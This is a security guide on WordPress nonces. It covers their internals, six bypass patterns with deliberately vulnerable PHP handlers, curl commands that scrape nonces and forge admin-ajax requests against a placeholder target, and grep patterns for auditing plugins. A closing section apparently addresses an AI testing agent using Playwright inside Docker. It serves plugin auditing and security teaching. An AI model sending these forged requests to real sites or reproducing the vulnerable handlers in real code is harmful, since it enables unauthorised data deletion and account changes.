WordPress Nonces and Bypass Techniques
WordPress nonces are frequently misunderstood. They are not cryptographic nonces (number used once) - they are time-limited CSRF tokens that can be reused within their validity window. Understanding their internals is essential for identifying bypass vulnerabilities.
What WordPress Nonces Actually Are
The WordPress documentation calls them "nonces" but they function as CSRF tokens with a 12-24 hour validity window. Key properties:
- Reusable: The same nonce is valid for up to 24 hours and can be used multiple times
- Time-based: Generated from the current time tick (12-hour windows)
- User-bound: Tied to the current user ID (or 0 for unauthenticated)
- Action-bound: Tied to a specific action string
- Not truly random: Deterministic given the inputs
A WordPress nonce is NOT:
- A one-time token (it can be used repeatedly)
- A cryptographic secret (it is derived from predictable inputs)
- Protection against replay attacks within its validity window
Internal Implementation
The nonce generation function in wp-includes/functions.php:
function wp_create_nonce( $action = -1 ) {
$user = wp_get_current_user();
$uid = (int) $user->ID;
if ( ! $uid ) {
$uid = apply_filters( 'nonce_user_logged_out', $uid, $action );
}
$token = wp_get_session_token();
$i = wp_nonce_tick( $action );
return substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
}
The nonce is the last 10 characters of an HMAC-SHA256 hash (truncated). The inputs are:
$i: The current tick number (changes every 12 hours)$action: The action string$uid: The current user's ID$token: The user's session token (fromwp_usermetatable,session_tokenskey)
The Two-Tick System
wp_nonce_tick() determines the current time bucket:
function wp_nonce_tick( $action = -1 ) {
$nonce_life = apply_filters( 'nonce_life', DAY_IN_SECONDS, $action );
return ceil( time() / ( $nonce_life / 2 ) );
}
With default nonce_life of 86400 seconds (24 hours):
- Each tick is 43200 seconds (12 hours)
- At any point, two ticks are valid: the current tick and the previous tick
- This means a nonce can be valid for up to 24 hours after creation
During verification, WordPress checks both the current tick and the previous tick:
function wp_verify_nonce( $nonce, $action = -1 ) {
// ...
$i = wp_nonce_tick( $action );
// Check current tick
$expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
if ( hash_equals( $expected, $nonce ) ) {
return 2; // Valid, created in second half of period
}
// Check previous tick
$expected = substr( wp_hash( ( $i - 1 ) . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
if ( hash_equals( $expected, $nonce ) ) {
return 1; // Valid, created in first half of period
}
return false;
}
Return values:
1: Nonce valid, generated in previous 12-hour window (older)2: Nonce valid, generated in current 12-hour window (fresher)false: Invalid nonce
How Plugins Expose Nonces
Via wp_localize_script
The most common way to pass nonces to JavaScript:
wp_enqueue_script( 'my-plugin-script', plugin_dir_url(__FILE__) . 'js/script.js', ['jquery'] );
wp_localize_script( 'my-plugin-script', 'myPluginData', [
'ajax_url' => admin_url( 'admin-ajax.php' ),
'nonce' => wp_create_nonce( 'my_plugin_nonce' ),
] );
This embeds the nonce in the page HTML as a JavaScript variable. Anyone who can load the page can extract the nonce.
# Extract nonces from page source
curl -s 'https://target.example.com/' | grep -oP '"nonce"\s*:\s*"\K[a-f0-9]{10}'
curl -s 'https://target.example.com/' | grep -oP 'nonce["\s:]+\K[a-f0-9]{10}'
# Look for wp_localize_script output patterns
curl -s 'https://target.example.com/some-page/' | \
grep -oP 'var\s+\w+\s*=\s*\{[^}]*nonce[^}]*\}' | head -5
Via wp_nonce_field
Embeds a hidden input field in forms:
// In a form template
<form method="post">
<?php wp_nonce_field( 'my_action', 'my_nonce_field' ); ?>
<!-- Renders as: -->
<!-- <input type="hidden" id="my_nonce_field" name="my_nonce_field" value="NONCE_VALUE"> -->
</form>
# Extract nonce from form field
curl -s 'https://target.example.com/page-with-form/' | \
grep -oP 'name="my_nonce_field" value="\K[a-f0-9]{10}'
# General form nonce extraction
curl -s 'https://target.example.com/page-with-form/' | \
grep -oP 'type="hidden"[^>]*value="\K[a-f0-9]{10}'
Via REST API Nonce in HTML Headers
// Some plugins pass nonces in HTTP headers
add_action( 'send_headers', function() {
header( 'X-WP-Nonce: ' . wp_create_nonce( 'wp_rest' ) );
});
Via wp_head / Inline Scripts
add_action( 'wp_head', function() {
?>
<script>
var ajaxNonce = "<?php echo wp_create_nonce('my_action'); ?>";
</script>
<?php
});
# Find inline nonces in wp_head output
curl -s 'https://target.example.com/' | grep -A2 -B2 'Nonce\|nonce' | head -30
Common Nonce Bypass Patterns
Bypass 1: Wrong Action String
If the action string used during verification does not match the one used during creation, the nonce will still validate if another handler accepts it with the wrong action. This happens when developers reuse a generic nonce:
// Plugin creates nonce for general use
wp_create_nonce( 'my_plugin_general' );
// Handler A verifies with correct action
function handler_a() {
wp_verify_nonce( $_POST['nonce'], 'my_plugin_general' ); // Works
}
// Handler B (the bug): uses a different action string to verify
// but was supposed to be more restrictive
function handler_b() {
// Developer intended 'my_plugin_delete' but used generic nonce
wp_verify_nonce( $_POST['nonce'], 'my_plugin_general' ); // Still works!
// Now performs privileged operation thinking it's properly scoped
delete_all_data();
}
More commonly: plugin verifies -1 (the default action), which matches any nonce created with -1:
// VULNERABLE: Using default action -1
function vulnerable_handler() {
if ( ! wp_verify_nonce( $_POST['nonce'], -1 ) ) {
wp_die( 'Invalid nonce' );
}
// ...
}
// Attacker can get a nonce for action -1 from any page using wp_create_nonce()
// or from another handler that exposes a nonce with action -1
Bypass 2: Nonce Available to Unauthenticated Users
A handler requires a nonce but exposes that nonce on a public page:
// Nonce exposed on public-facing page to everyone
add_action( 'wp_head', function() {
echo '<script>var deleteNonce = "' . wp_create_nonce('delete_post') . '";</script>';
});
// Handler requires nonce but should also require authentication
add_action( 'wp_ajax_nopriv_delete_post', 'delete_post_handler' );
function delete_post_handler() {
wp_verify_nonce( $_POST['nonce'], 'delete_post' ); // nonce check present
// But anyone can get this nonce from the homepage!
wp_delete_post( intval($_POST['post_id']), true );
wp_die();
}
Testing:
# Step 1: Get nonce from public page (no authentication needed)
NONCE=$(curl -s 'https://target.example.com/' | grep -oP 'deleteNonce\s*=\s*"\K[a-f0-9]{10}')
# Step 2: Use nonce in privileged operation
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
-d "action=delete_post&nonce=$NONCE&post_id=1"
Bypass 3: Conditional Nonce Check
// VULNERABLE: Nonce only checked in one branch
add_action( 'wp_ajax_update_profile', 'update_profile_handler' );
function update_profile_handler() {
if ( isset( $_POST['nonce'] ) ) {
wp_verify_nonce( $_POST['nonce'], 'update_profile' );
}
// Proceeds without nonce if $_POST['nonce'] is not set!
update_user_meta( get_current_user_id(), 'phone', sanitize_text_field($_POST['phone']) );
wp_die();
}
Testing - simply omit the nonce parameter:
curl -s -b /tmp/wp_cookies.txt -X POST \
'https://target.example.com/wp-admin/admin-ajax.php' \
-d 'action=update_profile&phone=attacker_value'
# Nonce field omitted entirely - check is bypassed
Bypass 4: Nonce Verification Result Not Checked
// VULNERABLE: Return value of wp_verify_nonce not checked
function insecure_handler() {
wp_verify_nonce( $_POST['nonce'], 'my_action' ); // Called but result ignored!
perform_privileged_operation();
wp_die();
}
# Works with any nonce value or no nonce at all
curl -s -b /tmp/wp_cookies.txt -X POST \
'https://target.example.com/wp-admin/admin-ajax.php' \
-d 'action=insecure_action&nonce=invalid_nonce'
Bypass 5: check_ajax_referer with die=false
// VULNERABLE: die parameter set to false, result not checked
function insecure_ajax_handler() {
check_ajax_referer( 'my_action', 'nonce', false ); // Won't die on failure
// Should check the return value!
perform_privileged_operation(); // Executes regardless
wp_die();
}
The correct pattern:
function secure_ajax_handler() {
$result = check_ajax_referer( 'my_action', 'nonce', false );
if ( false === $result ) {
wp_send_json_error( 'Invalid nonce', 403 );
}
// ...
}
Bypass 6: Nonce Leakage via Error Messages
function handler_with_debug() {
if ( WP_DEBUG ) {
// Logs include nonce values
error_log( 'Processing request with nonce: ' . $_POST['nonce'] );
}
// If debug log is accessible, nonces can be extracted
}
# Check if debug log is accessible
curl -s 'https://target.example.com/wp-content/debug.log' | grep -oP '[a-f0-9]{10}'
Unauthenticated Users and Nonces
A common misunderstanding: unauthenticated users CAN get nonces. WordPress generates nonces for unauthenticated users using uid=0 and a session identifier stored in a cookie.
// For logged-out users, wp_create_nonce uses uid=0
// The session token comes from the 'wp-settings-time-0' cookie or similar
// This means a nonce generated for an anonymous user on one page
// is valid for ALL anonymous users within the tick window
// because uid=0 is the same for everyone and no session token is used
This has a significant implication: if a wp_ajax_nopriv_ handler requires a nonce but that nonce is exposed on a public page, the nonce is effectively worthless as CSRF protection because:
- Attacker visits public page, gets nonce
- Nonce is valid for up to 24 hours
- Attacker can forge requests with this nonce
# Demonstrate: get nonce as anonymous user, use it immediately
NONCE=$(curl -s 'https://target.example.com/' | grep -oP '"nonce":"?\K[a-f0-9]{10}')
echo "Got nonce: $NONCE"
# Use nonce in same session (simulating CSRF)
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
-d "action=nopriv_action&nonce=$NONCE&malicious_param=value"
Grep Patterns for Nonce Audit
PLUGIN_PATH="/var/www/html/wp-content/plugins/my-plugin"
# Find all nonce verifications
grep -rn "wp_verify_nonce\|check_ajax_referer\|check_admin_referer" \
"$PLUGIN_PATH" --include="*.php"
# Find handlers that DON'T verify nonces (requires manual review)
# Step 1: Get all AJAX handler function names
grep -rP "add_action\s*\(\s*['\"]wp_ajax_[^'\"]+['\"],\s*['\"]?\K[^'\")\s]+" \
"$PLUGIN_PATH" --include="*.php" -oh > /tmp/handlers.txt
# Step 2: For each handler, check if it contains nonce verification
while read handler; do
FILE=$(grep -rln "function $handler" "$PLUGIN_PATH" --include="*.php" | head -1)
if [ -n "$FILE" ]; then
# Extract function body (rough approximation)
HAS_NONCE=$(grep -A 20 "function $handler" "$FILE" | \
grep -c "wp_verify_nonce\|check_ajax_referer")
echo "$handler: nonce_checks=$HAS_NONCE (file: $FILE)"
fi
done < /tmp/handlers.txt
# Find nonces created with action -1 (default, less specific)
grep -rn "wp_create_nonce\s*(\s*)" "$PLUGIN_PATH" --include="*.php"
grep -rn "wp_create_nonce\s*(\s*-1\s*)" "$PLUGIN_PATH" --include="*.php"
# Find check_ajax_referer calls with die=false
grep -rn "check_ajax_referer.*false" "$PLUGIN_PATH" --include="*.php"
# Find wp_verify_nonce where return is not checked
grep -rn "wp_verify_nonce" "$PLUGIN_PATH" --include="*.php" -B2 -A2 | \
grep -v "if\s*(\|!\s*\|=\s*wp_verify"
# Find nonces exposed to all users (in public hooks)
grep -rn "wp_create_nonce" "$PLUGIN_PATH" --include="*.php" | \
grep -v "admin_\|is_admin\|current_user_can"
The nonce_life Filter
Plugins can shorten or extend nonce validity:
// Shorten to 1 hour
add_filter( 'nonce_life', function() { return HOUR_IN_SECONDS; } );
// Extend to 7 days (dangerous)
add_filter( 'nonce_life', function() { return WEEK_IN_SECONDS; } );
// Action-specific lifetime
add_filter( 'nonce_life', function( $life, $action ) {
if ( 'dangerous_action' === $action ) {
return 300; // 5 minutes
}
return $life;
}, 10, 2 );
# Find nonce_life filter modifications
grep -rn "nonce_life" /var/www/html/wp-content/ --include="*.php"
Nonce vs. Capability Check Order
A subtle vulnerability pattern: checking nonce before capability allows an attacker to learn whether their nonce is valid (useful in nonce oracle attacks):
// Order matters: check capability first in sensitive operations
function secure_handler() {
// Capability first: fails fast for unprivileged users
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( 'Unauthorized', 403 );
}
// Nonce second
check_ajax_referer( 'admin_action', 'nonce' );
// Then logic
}
Summary: Nonce Bypass Checklist
| Bypass | Grep Pattern | Impact |
|---|---|---|
| Result not checked | wp_verify_nonce[^;]*; without if | Full CSRF |
| die=false, result ignored | check_ajax_referer.*false | Full CSRF |
| Wrong action string | Compare create vs verify action strings | CSRF on specific action |
| Public nonce exposure | wp_create_nonce in non-admin hooks | CSRF for anon users |
| Missing check entirely | AJAX handlers without any nonce call | Full CSRF |
| Nonce in URL | wp_create_nonce in href/redirect | Nonce leakage via Referer |
Critical: Obtaining Nonces for Unauthenticated Exploitation
One of the most common obstacles in exploiting wp_ajax_nopriv handlers is obtaining a valid nonce. This section covers the practical techniques.
Why WP-CLI Nonces Don't Work for HTTP Requests
A nonce generated via WP-CLI (wp eval "echo wp_create_nonce('action');") will NOT work when sent in an HTTP request to admin-ajax.php. This is because WordPress nonces are salted with the user's session token from their cookie. WP-CLI runs in a separate PHP process with no browser cookies, so the nonce it generates uses a different salt than what admin-ajax.php expects.
WP-CLI session: nonce = hash(action + user_id=0 + session_token_A)
HTTP request: verify = hash(action + user_id=0 + session_token_B) // Different!
Even with wp_set_current_user(0), the session tokens differ because WP-CLI has no cookie context.
Technique 1: Extract Nonce from Page Source
Many plugins expose nonces via wp_localize_script(). The nonce appears in the HTML as a JavaScript variable:
<script>
var userspn_ajax = {"ajax_url":"http:\/\/example.com\/wp-admin\/admin-ajax.php","userspn_ajax_nonce":"a1b2c3d4e5"};
</script>
To extract it, make an HTTP GET request and parse the response:
# Using the http_request tool (Playwright), then parse the response
# Look for the nonce in the JSON-encoded localized script data
Problem: The scripts (and therefore the nonce) only load on pages where the plugin's functionality is active. On a vanilla homepage without the plugin's shortcode or widget, the scripts may not be enqueued.
Technique 2: Create a Page with the Plugin's Shortcode
If the plugin's scripts only load on pages with a specific shortcode, create one:
# Create a page with the plugin's shortcode
wp post create --post_type=page --post_title="Test" --post_status=publish --post_content='[plugin_shortcode]'
# Then fetch that page via HTTP to get the nonce
# Use http_request tool (NOT curl inside the container)
Common shortcodes to look for:
grep -rn "add_shortcode" /var/www/html/wp-content/plugins/PLUGIN_NAME/ | head -20
Technique 3: Use the WordPress REST API Nonce Endpoint
WordPress exposes a nonce endpoint for the REST API:
GET /wp-admin/admin-ajax.php?action=rest-nonce
This returns a nonce for the wp_rest action. While this specific nonce is for REST API authentication, it demonstrates that nonces can be obtained via unauthenticated HTTP requests.
Technique 4: Check if the Nonce Action Matches
A common vulnerability: the plugin creates a nonce with one action string but verifies with a different one (or doesn't verify at all). Compare:
# What action is used to CREATE the nonce?
grep -n "wp_create_nonce" /var/www/html/wp-content/plugins/PLUGIN_NAME/ -r
# What action is used to VERIFY the nonce?
grep -n "wp_verify_nonce\|check_ajax_referer" /var/www/html/wp-content/plugins/PLUGIN_NAME/ -r
If the actions don't match, or if check_ajax_referer is called with die=false and the result isn't checked, the nonce is effectively bypassed.
Technique 5: Nonce for Logged-Out Users
For wp_ajax_nopriv handlers, the nonce is generated for user ID 0 (not logged in). The nonce value depends on:
- The action string
- User ID (0 for logged out)
- Session token (empty string for logged out users, BUT the cookie
wordpress_test_cookiemay affect this) - The nonce tick (changes every 12 hours)
To get a valid nonce for an unauthenticated request:
- Visit the site in a fresh browser session (no cookies)
- Find a page where the plugin enqueues its scripts
- Extract the nonce from the page source
- Use that nonce immediately (within 12-24 hours)
Common Mistake in Testing
Never use curl inside a Docker container to fetch pages from the same WordPress instance. The container's localhost:8080 port mapping is on the Docker host, not inside the container. Use the http_request tool (which goes through Playwright on the host) or browser_navigate instead.